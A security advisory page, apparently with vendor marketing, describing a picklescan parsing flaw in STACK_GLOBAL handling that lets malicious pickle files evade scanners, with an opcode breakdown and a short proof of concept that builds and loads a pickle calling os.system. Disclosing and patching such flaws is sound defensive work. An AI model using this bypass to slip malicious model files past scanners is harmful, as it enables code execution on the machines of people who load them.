GHSA-9gvj-pp9x-gcfr
GHSA-9gvj-pp9x-gcfr is a CWE-391 vulnerability in picklescan. O3 Security confirms whether GHSA-9gvj-pp9x-gcfr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
Blast Radius
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.
Example:
0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
6: S STRING 'system' --> arg 1: STRING (tracked argument)
16: \x93 STACK_GLOBAL
17: S STRING 'ls'
23: \x85 TUPLE1
24: R REDUCE
25: . STOP
PoC
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))
Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.
Fix
To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n.
https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.27 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9gvj-pp9x-gcfr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9gvj-pp9x-gcfr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9gvj-pp9x-gcfr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9gvj-pp9x-gcfr in your dependencies?
O3 detects GHSA-9gvj-pp9x-gcfr across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.